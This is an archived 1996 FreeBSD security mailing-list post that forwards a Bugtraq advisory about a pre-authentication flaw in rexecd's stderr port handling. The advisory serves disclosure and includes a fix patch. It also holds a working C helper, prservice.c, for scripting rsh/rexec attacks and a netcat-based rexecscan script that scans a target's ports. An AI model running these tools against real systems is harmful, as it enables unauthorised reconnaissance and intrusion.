Skip site navigation (1)Skip section navigation (2)
Date:      Tue, 19 Nov 1996 07:53:27 -0800
From:      Cy Schubert <cy@cwsys.cwent.com>
To:        security-officer@freebsd.org
Cc:        freebsd-security@freebsd.org
Subject:   Futile rexecd holes
Message-ID:  <199611191553.HAA00979@cwsys.cwent.com>

next in thread | raw e-mail | index | archive | help
This was sent to me from BUGTRAQ.  It may be of interest to many of
you.


Regards,                       Phone:  (250)389-3827
Cy Schubert                    OV/VM:  BCSC02(CSCHUBER)
Open Systems Support          BITNET:  CSCHUBER@BCSC02.BITNET
ITSD                        Internet:  cschuber@uumail.gov.bc.ca
                                       cschuber@bcsc02.gov.bc.ca

                "Quit spooling around, JES do it."

------- Forwarded Message

Received: from localhost (15005@localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.8.3/8.6.10) with SMTP id AAA05071 for cy; Tue, 19 Nov 1996 00:58:45 -0800 (PST)
X-UIDL: 848412018.004
Resent-From: Cy Schubert - ITSD Open Systems Group <cschuber@uumail.gov.bc.ca>
Resent-Message-Id: <199611190858.AAA05071@passer.osg.gov.bc.ca>
X-Authentication-Warning: passer.osg.gov.bc.ca: 15005@localhost [127.0.0.1] didn't use HELO protocol
Received: from orca.gov.bc.ca (orca.gov.bc.ca [142.32.102.25]) by passer.osg.gov.bc.ca (8.8.3/8.6.10) with SMTP id AAA05221 for <cschuber@passer.osg.gov.bc.ca>; Tue, 19 Nov 1996 00:58:43 -0800 (PST)
Received: from brimstone.netspace.org by orca.gov.bc.ca (5.4R3.10/200.1.1.4)
	id AA18528; Tue, 19 Nov 1996 00:58:41 -0800
Received: from netspace.org ([128.148.157.6]) by brimstone.netspace.org with ESMTP id <25554-2781>; Tue, 19 Nov 1996 03:52:26 -0500
Received: from netspace.org (unknown@netspace [128.148.157.6]) by netspace.org (8.8.2/8.8.2) with SMTP id DAA10692; Tue, 19 Nov 1996 03:44:30 -0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8b) with
          spool id 1436340 for BUGTRAQ@NETSPACE.ORG; Tue, 19 Nov 1996 03:35:08
          -0500
Received: from netspace.org (unknown@netspace [128.148.157.6]) by netspace.org
          (8.8.2/8.8.2) with SMTP id DAA09363 for <BUGTRAQ@NETSPACE.ORG>; Tue,
          19 Nov 1996 03:29:31 -0500
Approved-By: ALEPH1@UNDERGROUND.ORG
Received: from dhp.com (dhp.com [199.245.105.1]) by netspace.org (8.8.2/8.8.2)
          with ESMTP id XAA15996 for <bugtraq@netspace.org>; Mon, 18 Nov 1996
          23:23:20 -0500
Received: (from jaeger@localhost) by dhp.com (8.8.2/8.6.12) id XAA01206; Mon,
          18 Nov 1996 23:24:42 -0500
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Approved-By: jaeger <jaeger@DHP.COM>
Message-Id: <Pine.LNX.3.95.961118232043.1065A-100000@dhp.com>
Date: Mon, 18 Nov 1996 23:24:42 -0500
Reply-To: jaeger <jaeger@dhp.com>
Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: jaeger <jaeger@dhp.com>
Subject: Futile rexecd holes
X-To: deraadt@openbsd.org
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
Resent-To: cy@uumail.gov.bc.ca
Resent-Date: Tue, 19 Nov 96 00:58:45 -0800
Resent-XMts: smtp

Vulnerability:
        Rexecd allows redirection of stderr stream to an arbitrary port on
the client machine.  This stream is opened by rexecd before authentication of
the user.

Vulnerable:
        All systems with BSD-based networking including FreeBSD,
OpenBSD, NetBSD, BSDI BSD/OS, Solaris 2, OSF/1, Ultrix, Linux.

Background:
        Rshd and rexecd can output stderr by opening a socket from the
server machine to the client machine which is accepted by the rsh or rexec
client.  The rsh client opens the initial connection from a privileged port,
rshd responds from a privileged port, and redirects the connection to a
privleged port on the client machine.  The trust model is preserved because
this whole process is controlled by the setuid program rsh on the client
machine.
        Exec is fundamentally similar to the shell service except that instead
of a remote and local username being transmitted (for .rhosts and hosts.equiv
authentication only) a username and password is transmitted, and the whole
exchange uses unprivileged ports.

Discussion:
        Because rexec uses unprivileged ports for the whole process, any
user can send a request to a rexecd requesting connection of the stderr stream
to an arbitrary port on the client machine.  Since the client is unprivileged,
there is no possibility for the legitimate stderr stream to be destined for a
privileged port.
        In addition, spoofing techniques could allow the client to direct
the stderr stream towards an arbitrary host as well as an arbitrary port,
possibly exploiting a given trust model.
        Since rexecd terminates if the stderr port can't be connected to,
and the port can be specified, rexecd can be used to easily scan the client
host from the server host.  The included script "rexecscan" demonstrates
this.

Repeat-By:

begin prservice.c

/* modified by jaeger 12Nov1996. Duplicated slack coding style.

   now takes
        port locuser remuser [cmd]
        port remuser passwd [cmd]
   where port is the dst port you wish the stderr socket to connect to
   from the server to the client machine.

/* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up
   rsh/rexec attacks.  Needs to be a prog because shells strip out nulls.

   args:
        locuser remuser [cmd]
        remuser passwd [cmd]

   cmd defaults to "pwd".

   ... whatever.  _H*/

#include <stdio.h>

/* change if you like; "id" is a good one for figuring out if you won too */
static char cmd[] = "pwd";

static char buf [256];

main(argc, argv)
  int argc;
  char * argv[];
{
  register int x;
  register int y = 0;
  char * p;
  char * q;

  p = buf;
  memset (buf, 0, 256);

  if (! argv[1])
    goto wrong;
  x = strlen (argv[1]);
  memcpy (p, argv[1], x);       /* port plus null */
  x++;
  p += x;
  y += x;

  if (! argv[2])
    goto wrong;
  x = strlen (argv[2]);
  memcpy (p, argv[2], x);       /* second arg plus null */
  x++;
  p += x;
  y += x;

  if (! argv[3])
    goto wrong;
  x = strlen (argv[3]);
  memcpy (p, argv[3], x);       /* third arg plus null */
  x++;
  p += x;
  y += x;

  q = cmd;
  if (argv[4])
    q = argv[4];
  x = strlen (q);               /* not checked -- bfd */
  memcpy (p, q, x);             /* the command, plus final null */
  x++;
  p += x;
  y += x;

  memcpy (p, "\n", 1);          /* and a newline, so it goes */
  y++;

  write (1, buf, y);            /* zot! */
  exit (0);

wrong:
  fprintf (stderr, "%s: <port> <arg> <arg>\n",argv[0]);
  exit (1);
}

end prservice.c

begin rexecscan

#!/bin/sh
# Dumb script to demonstrate scanning with rexecd
# jaeger, 12Nov1996

# Path to netcat
NC=nc
# Path to prservice program
PRS=./prservice
# Port to scan to
MAX=1024

TARGET=$1
USER=$2
PASSWORD=$3

PORT=1

if [ $# -ne 3 ]; then
        echo "$0 <targethost> <username> <password>"
fi

while [ $PORT -lt $MAX ]; do
        $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512
        PORT=`expr $PORT + 1`
done

exit 0

end rexecscan

Suggested Fix:
        The rexecd should check the specified return port ("port") to make
sure it is nonprivileged, and not open the stderr stream until authentication
is complete.  Similar fixes for rshd are left as an exercise for the reader.

*** rexecd.c.dist       Mon Nov 11 11:32:23 1996
- --- rexecd.c    Thu Nov 14 01:55:17 1996
***************
*** 151,168 ****
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!       if (port != 0) {
!               s = socket(AF_INET, SOCK_STREAM, 0);
!               if (s < 0)
!                       exit(1);
!               if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
!                       exit(1);
!               (void) alarm(60);
!               fromp->sin_port = htons(port);
!               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
!                       exit(1);
!               (void) alarm(0);
!       }
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
- --- 151,157 ----
                port = port * 10 + c - '0';
        }
        (void) alarm(0);
!
        getstr(user, sizeof(user), "username");
        getstr(pass, sizeof(pass), "password");
        getstr(cmdbuf, sizeof(cmdbuf), "command");
***************
*** 215,220 ****
- --- 204,227 ----
                error("No remote directory.\n");
                exit(1);
        }
+
+       if (port != 0) {
+               if ((port != 0) && (port < IPPORT_RESERVED)) {
+                       syslog(LOG_ERR, "client stderr port in reserved range\n");
+                       exit(1);
+               }
+               s = socket(AF_INET, SOCK_STREAM, 0);
+               if (s < 0)
+                       exit(1);
+               if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0)
+                       exit(1);
+               (void) alarm(60);
+               fromp->sin_port = htons(port);
+               if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0)
+                       exit(1);
+               (void) alarm(0);
+       }
+
        (void) write(2, "\0", 1);
        if (port) {
                (void) pipe(pv);
***************
*** 255,260 ****
- --- 262,268 ----
                (void) close(s); (void)close(pv[0]);
                dup2(pv[1], 2);
        }
+
        if (*pwd->pw_shell == '\0')
                pwd->pw_shell = _PATH_BSHELL;
        if (f > 2)


------- End of Forwarded Message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199611191553.HAA00979>